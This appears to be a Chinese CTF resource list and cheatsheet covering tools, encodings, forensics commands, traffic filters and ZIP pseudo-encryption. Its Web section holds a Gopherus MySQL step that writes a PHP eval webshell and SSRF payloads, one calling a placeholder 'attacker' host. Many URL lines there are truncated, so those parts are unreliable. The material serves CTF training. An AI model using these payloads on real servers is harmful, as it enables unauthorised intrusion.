【免责声明】文章所涉及的技术、思路和工具仅供安全技术研究,任何人不得将其用于非授权渗透测试,不得将其用于非法用途和盈利,否则后果自行承担。
CTF项目
-
CTF Wiki:https://ctf-wiki.org/
-
CTF Time:https://ctftime.org/
-
攻防世界:https://adworld.xctf.org.cn/
-
Hacker 101:https://www.hacker101.com/
-
Cryptopals:密码学练习题目 https://cryptopals.com/
-
Awesome-ctf:https://github.com/apsdehal/awesome-ct
CTF工具
综合工具
Crypto
-
CyberChef:综合编解码及加密,可本地部署 https://github.com/gchq/CyberChef
-
OK Tools在线工具:https://github.com/wangyiwy/oktools
-
CTF在线工具:http://www.hiencode.com/
-
XSSEE:在线综合编解码 https://evilcos.me/lab/xssee/
-
MeTools:在线综合编解码 http://www.metools.info/code/quotedprintable231.html
-
MD5 Hash:https://www.somd5.com/
-
GB2312:http://code.mcdvisa.com/
-
Unicode字符表:https://www.52unicode.com/enclosed-alphanumerics-zifu
-
Unicode:https://www.compart.com/en/unicode/
-
UUencode:http://web.chacuo.net/charsetuuencode
-
XXencode:输入文本以每三个字节为单位进行编码 http://web.chacuo.net/charsetxxencode
-
Escape/Unescape:https://tool.chinaz.com/tools/escape.aspx
-
HTML实体编码:https://zh.rakko.tools/tools/21/
-
摩斯电码:http://moersima.00cha.net/
-
摩斯电码:http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx
-
栅栏密码:https://www.qqxiuzi.cn/bianma/zhalanmima.php
-
猪圈密码:http://www.hiencode.com/pigpen.html
-
零宽字符:http://330k.github.io/misc_tools/unicode_steganography.html
-
Base64填充位隐写读取:https://github.com/cjcslhp/wheels/tree/master/b64stego
-
yafu:RSA解题中的因式分解 https://github.com/bbuhrow/yafu
Misc
图片
-
Stegsolve:图片隐写 http://www.caesum.com/handbook/stego.ht
-
图虫在线EXIF查看器:https://exif.tuchong.com/
-
EXIF查看器:exiftool https://exiftool.org/
-
盲水印提取:https://github.com/chishaxie/BlindWaterMark
-
OCR在线识别:https://web.baimiaoapp.com/
-
解决拼图问题:montage+gaps https://github.com/nemanja-m/gaps
-
在线绘制二维码/汉信码:https://www.pixilart.com/draw?ref=home-page
-
在线绘制二维码:https://merricx.github.io/qrazybox/
-
在线扫描一维码:https://online-barcode-reader.inliteresearch.com/
音视频
-
Audacity:音频隐写 https://www.audacityteam.org/
-
Mp3Stego:Mp3音频隐写 https://www.petitcolas.net/steganography/mp3stego/
流量分析
-
Pcap流量包在线修复:http://f00l.de/hacking/pcapfix.php
日志分析
-
ProcessMonitor:进程监视器 https://learn.microsoft.com/zh-cn/sysinternals/downloads/procmon
-
Event log explorer:日志查看器 https://www.eventlogxp.com/
数据处理
-
010 Editor:https://www.sweetscape.com/010editor/
-
Binwalk:https://github.com/ReFirmLabs/binwalk
-
在线正则表达式:https://c.runoob.com/front-end/854/
Web
-
localhost绕过:127.0.0.1 >>> 2130706433 https://www.browserling.com/tools/ip-to-dec
Pwn
-
Pwntools:CTF框架和漏洞利用开发库 https://github.com/Gallopsled/pwntools
Reverse
-
-
-
Cutter:https://cutter.re/
-
IDA:https://hex-rays.com/ida-pro/
-
Ollydbg:https://www.ollydbg.de/
-
angr:二进制分析 https://github.com/angr/angr
Cheatsheet
Tips
搜索flag
find / -type f -name '*' | xargs grep "flag{"
Crypto
常见加密/编码算法特征
1.Base64
一般只包含以下字符:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
2.AES
密钥长度是128bit或者256bit,长度都是16字节。
密文是128或256的整倍数。
3.DES
密钥长度固定8字节。密钥需要运行初始化函数进行单独初始化。
分段加密,每8字节分段。
4.RSA
非对称加密算法,密钥需要单独初始化。
密钥长度一般很长,存储格式为base64文本。
5. ECC
密钥需要单独初始化。
Misc
常用命令
1.file
-
在文件无格式或格式不明时判断文件类型。
> file Exploit.class
Exploit.class: compiled Java class data, version 52.0 (Java 1.8)
2.binwalk & foremost
3.dd
4.openssl
openssl rsautl -decrypt -in whoami.txt -inkey private.key out flag.txt
常用正则表达式
1.中国手机号
-
手机号为11 位10进制数字字符串。
^(13[0-9]|14[01456879]|15[0-35-9]|16[2567]|17[0-8]|18[0-9]|19[0-35-9])\d{8}$
-
带中划线的手机号码
^[+]{0,1}(d){1,3}[ ]?([-]?((d)|[ ]){1,12})+$
2.电话号码
-
"XXX-XXXXXXX"、"XXXX-XXXXXXXX"
(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}
-
"XXX-XXXXXXX"、"XXXX-XXXXXXXX"、"XXX-XXXXXXX"、"XXX-XXXXXXXX"、"XXXXXXX"和"XXXXXXXX"
^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$
-
国内电话号码(0511-4405222、021-87888822)
-
支持手机号码,3-4位区号,7-8位直播号码,1-4位分机号
((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)
3.身份证号
4.国际移动设备识别码(IMEI)
5.银行卡号(BankCard)
6.IP地址(IPv4)
7.域名
[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+\.?
^((http:\/\/)|(https:\/\/))?([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}(\/)
8.URL
[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$
9.邮箱地址(Email)
^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$
^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$
wireshark流量分析
ip.src eq xxx.xxx.xxx.xxx or ip.dst eq xxx
.xxx.xxx.xxx
ip.addr eq xxx.xxx.xxx.xxx
tcp.port eq 80 or udp.port eq 80
tcp.dstport == 80 or tcp.srcport == 80
tcp.port >=1 and tcp.port <=80
tcp/udp/arp/icmp/http/ftp/dns/ip
eth.dst == A0:04:C6:85:63:73
http.request.method == "GET"
http.request.method == "POST"
http.request.uri == "/img/logo.png"
http.request.method == "GET" && http contains "User-Agent:"
tshark流量分析
tshark -r **.pcap –Y ** -T fields –e ** | **** > data
----------------------------------------------------------------
tshark -r capture.pcapng -T fields -e usb.capdata > data2.txt
Usage:
-Y packet displaY filter in Wireshark display filter
syntax
-T pdml|ps|psml|json|jsonraw|ek|tabs|text|fields|?
format of text output (def: text)
-e field to print if -Tfields selected (e.g. tcp.port,
_ws.col.Info)
通过
-Y
过滤器 (与 wireshark 一致), 然后用
-T filds -e
配合指定显示的数据段 (比如 usb.capdata)
-e
后的参数不确定可以由
wireshark
右击需要的数据选中后得到
Unicode四种编码形式
源文本:The
&#x [Hex]: The
[Decimal]: The
\U [Hex]: \U0054\U0068\U0065
\U+ [Hex]: \U+0054\U+0068\U+0065
图片分析
图片分析的一般步骤:
-
首先查看EXIF信息。
-
如果图片在windows下能查看,kali下无法查看,说明格式数据错误,可以修改图片的长宽高来显示隐藏图像。
-
通过binwalk或者foremost查看是否有隐藏文件。
-
通过stegsolve进行色差分析,查看zlib数据段。
-
查看文件是否包含有损坏的其他文件,查找文件中是否有可疑字符串,例如flag、key、pass。
-
验证是否存在隐写,例如LSB隐写。
jpg长宽修改
修改图片高度, FF C0后的第4个字节和第5个字节
修改0x14到0x17的四个字节
修改后:
压缩包分析
不同压缩包分析方法分别用于:
-
ZIP暴力破解
:文件的密码为纯数字且位数不多时。
-
ZIP伪加密
:ZIP文件的压缩源文件目录中09 00修改为00 00,可以成功解压时。
-
CRC32攻击
:当文件数据少且文件大小较小时。
-
明文攻击
:加密文件中存在部分已知文件(>12字节)时。
一些tips:
zip伪加密
zip文件组成:
-
压缩源文件数据区 50 4B 03 04(0x04034b50)
-
压缩源文件目录区 50 4B 01 02(0x02014b50)
-
压缩源文件目录结束标志50 4B 05 06(0x06054b50)
压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
09 00:全局方式位标记(有无加密)
08 00:压缩方式
50 A3:最后修改文件时间
A5 4A:最后修改文件日期
21 38 76 64:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
08 00:文件名长度
00 00:扩展记录长度
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
1F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
09 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
50 A3:最后修改文件时间
A5 4A:最后修改文件日期
21 38 76 65:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
08 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
压缩文件源文件目录结束区:
50 4B 05 06:目录结束标记(0x06054b50)
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP文件注释长度
真假加密:
压缩源文件数据区的全局加密应当为00 00
且压缩源文件目录区的全局方式位标记应当为00 00
压缩源文件数据区的全局加密应当为00 00
且压缩源文件目录区的全局方式位标记应当为09 00
压缩源文件数据区的全局加密应当为09 00
且压缩源文件目录区的全局方式位标记应当为09 00
判断伪加密 ZipCenOp
java -jar ZipCenOp.jar xxx.zip
常见安全事件
4624 --登录成功
4625 --登录失败
4634 -- 注销成功
4647 -- 用户启动的注销
4672 -- 使用超级用户(如管理员)进行登录
Web
localhost绕过
http:
http:
http:
http:
http:
http:
http:
# 十六进制、八进制转换
http:
# 转换为小数 https://www.browserling.com/tools/ip-to-dec
http:
Gopherus
# mysql
> python2 gopherus.py --exploit mysql
---------------------------------------------
Give MySQL username: root
Give query to execute: select "" into outfile "/var/www/html/gopher.php"
select "@eval($_POST[c]);?>" into outfile "/var/www/html/gopher.php"
SSRF payload
file
file:
file:
file:
ssrf.php?url=file:
http
ssrf.php?url=http:
ssrf.php?url=http:
ssrf.php?url=http:
dict
dict://;@:/d:::
ssrf.php?url=dict://attacker:11111/
LFI payload
PHP伪协议
file协议: